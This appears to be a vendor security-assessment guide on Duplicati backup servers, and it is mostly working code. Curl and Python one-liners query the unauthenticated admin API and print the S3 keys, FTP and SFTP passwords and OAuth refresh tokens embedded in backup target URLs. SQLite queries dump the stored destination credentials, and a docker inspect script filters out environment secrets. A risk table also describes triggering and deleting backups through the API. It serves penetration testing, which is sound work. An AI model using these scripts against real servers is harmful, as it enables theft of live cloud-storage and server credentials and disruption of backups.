Duplicati is a widely deployed self-hosted backup application — it stores backup destination credentials for every cloud storage provider, SFTP server, and FTP host it backs up to. The admin UI on port 8200 has no password protection by default, and the local SQLite database stores all backup destination credentials including S3 access keys, FTP passwords, SFTP private keys, and Google Drive OAuth refresh tokens. Key assessment areas: unauthenticated admin API access; backup destination credential extraction; server passphrase bypassing; and source path disclosure revealing what sensitive data is being backed up. This guide covers systematic Duplicati security assessment.
# Duplicati — unauthenticated admin UI and backup enumeration
DUPLICATI_URL="http://duplicati.example.com:8200"
# Check if authentication is required
HTTP=$(curl -s -o /dev/null -w "%{http_code}" "${DUPLICATI_URL}/" 2>/dev/null)
echo "Admin UI status: ${HTTP}"
# 200 = no webservice password set (DEFAULT)
# 302 to /login = password protection enabled
# Unauthenticated API access — list all backup jobs
curl -s "${DUPLICATI_URL}/api/v1/backup" \
-H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
backups = d.get('Backups',[]) if isinstance(d,dict) else d
print(f'Backup jobs: {len(backups)}')
for b in backups:
bk = b.get('Backup',b)
print(f' [{bk.get(\"ID\")}] {bk.get(\"Name\")}')
print(f' TargetURL={bk.get(\"TargetURL\",\"\")[:80]}')
print(f' Sources={bk.get(\"Sources\",[])[:3]}')
print(f' LastBackupDate={str(bk.get(\"LastBackupDate\",\"\"))[:19]}')
" 2>/dev/null
# TargetURL contains embedded credentials:
# s3://ACCESS_KEY:SECRET_KEY@s3.amazonaws.com/bucket
# ftp://user:password@ftp.example.com/path
# sftp://user:password@sftp.example.com/path
# googledrive://client_id:client_secret/path?authid=REFRESH_TOKEN
# Get server settings
curl -s "${DUPLICATI_URL}/api/v1/serversetting" \
-H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('Settings',{}) if isinstance(d,dict) else {}
for k, v in settings.items():
if any(x in k.lower() for x in ['password','key','secret','passphrase','token']):
print(f' {k}: {v}')
" 2>/dev/null
# Duplicati backup destination credential extraction
# Get full backup configuration including decrypted credentials
# Duplicati API returns destination credentials in the TargetURL
BACKUP_ID="1"
curl -s "${DUPLICATI_URL}/api/v1/backup/${BACKUP_ID}" \
-H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys,urllib.parse
d=json.load(sys.stdin)
bk = d.get('Backup',d)
target = bk.get('TargetURL','')
print(f'Backup: {bk.get(\"Name\")}')
print(f'TargetURL: {target}')
print()
# Parse credentials from URL
if '://' in target:
scheme = target.split('://')[0]
rest = target.split('://')[1]
if '@' in rest:
auth = rest.split('@')[0]
if ':' in auth:
user, password = auth.split(':',1)
print(f'Extracted credentials:')
print(f' Scheme: {scheme}')
print(f' User/Key: {urllib.parse.unquote(user)}')
print(f' Password/Secret: {urllib.parse.unquote(password)}')
# Source paths — what data is being backed up
sources = bk.get('Sources',[])
print(f'Source paths:')
for s in sources:
print(f' {s}')
# Source paths reveal sensitive data locations:
# /etc/passwd, /home/user/.ssh/, /var/www/html/, database dumps
" 2>/dev/null
# Extract S3 credentials pattern
curl -s "${DUPLICATI_URL}/api/v1/backup" \
-H "X-Requested-With: XMLHttpRequest" 2>/dev/null | python3 -c "
import json,sys,re,urllib.parse
d=json.load(sys.stdin)
backups = d.get('Backups',[]) if isinstance(d,dict) else d
for b in backups:
bk = b.get('Backup',b)
target = bk.get('TargetURL','')
# Extract S3 credentials
s3_match = re.search(r's3[a-z]*://([^:]+):([^@]+)@', target)
if s3_match:
print(f'S3: key={urllib.parse.unquote(s3_match.group(1))} secret={urllib.parse.unquote(s3_match.group(2))}')
# Extract SFTP/FTP credentials
sftp_match = re.search(r'sftp://([^:]+):([^@]+)@(.+?)/', target)
if sftp_match:
print(f'SFTP: user={sftp_match.group(1)} pass={sftp_match.group(2)} host={sftp_match.group(3)}')
# Extract OAuth tokens (Google Drive, OneDrive)
authid_match = re.search(r'authid=([^&\"]+)', target)
if authid_match:
print(f'OAuth refresh token: {authid_match.group(1)[:30]}...')
" 2>/dev/null
# Duplicati SQLite database and server passphrase
# Default SQLite database location
DB_PATHS=(
"/root/.config/Duplicati/Duplicati-server.sqlite"
"/home/user/.config/Duplicati/Duplicati-server.sqlite"
"/config/Duplicati-server.sqlite" # Docker volume
"/data/Duplicati-server.sqlite"
)
for DB in "${DB_PATHS[@]}"; do
[ -f "$DB" ] && echo "Found: $DB"
done
# Read the SQLite database (may be encrypted with server-passphrase)
DB_PATH="/root/.config/Duplicati/Duplicati-server.sqlite"
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
-- Server settings including passphrase
SELECT Name, Value FROM ServerSettings
WHERE Name IN ('server-passphrase','server-passphrase-salt',
'webservice-password','webservice-allowed-hostnames');
-- All backup options including destination credentials
SELECT BackupID, Name, Value FROM Options
WHERE Name IN ('aws-access-key-id','aws-secret-access-key',
'ftp-password','ftp-username',
'ssh-password','ssh-keyfile',
'passphrase', 'authid',
'googledrive-client-id','googledrive-client-secret',
'b2-accountid','b2-applicationkey',
'dropbox-authid','onedrive-mountpoint')
ORDER BY BackupID;
EOF
-- passphrase: the backup encryption passphrase (not the server passphrase)
-- authid: OAuth refresh token for Google Drive/OneDrive/Dropbox
-- All backup source paths
sqlite3 "$DB_PATH" 2>/dev/null << 'EOF'
SELECT B.Name, S.Path
FROM Backup B
JOIN Source S ON B.ID = S.BackupID
ORDER BY B.ID;
EOF
# Docker — inspect Duplicati container
docker inspect duplicati 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['PASS','KEY','SECRET','DUPLICATI','TOKEN']):
print(e)
# Volume mounts — reveals backup source paths
mounts = c.get('Mounts',[])
print('Mounts (backup sources):')
for m in mounts:
print(f' {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated admin API backup configuration enumeration | GET /api/v1/backup without credentials — all backup jobs with TargetURL containing destination credentials; S3 access keys, SFTP passwords, OAuth tokens for every configured backup destination; source paths of all backed-up data | Critical |
| TargetURL credential extraction from backup configurations | Parse TargetURL from /api/v1/backup — embedded S3 access key/secret, FTP username/password, SFTP credentials, Google Drive/OneDrive OAuth refresh tokens; each represents live credentials to cloud storage or remote servers | Critical |
| SQLite database destination credential extraction | SELECT Value FROM Options WHERE Name IN ('aws-secret-access-key','ssh-password','authid') — all destination credentials from SQLite; readable without server passphrase if passphrase not set | High |
| Source path disclosure for sensitive data mapping | SELECT Path FROM Source — all backup source paths; reveals /etc/shadow, /home/user/.ssh/, database dump locations, /var/www/ web application directories | Medium |
| Backup trigger and delete via API | POST /api/v1/backup/{id}/run — trigger backup jobs; POST /api/v1/backup/{id}/dbpath/delete — delete backup database; disrupts backup integrity; POST to run enables backup to attacker-controlled destination | High |
Ironimo tests Duplicati deployments for unauthenticated admin UI access on port 8200, TargetURL credential extraction (S3 access keys/secrets, FTP passwords, SFTP credentials, OAuth refresh tokens), SQLite database destination credential enumeration, backup source path sensitive file location disclosure, webservice password absence assessment, server passphrase weakness testing, Docker volume mount backup source path analysis, unauthorized backup trigger via API, and backup destination access logging gap analysis.
Start free scan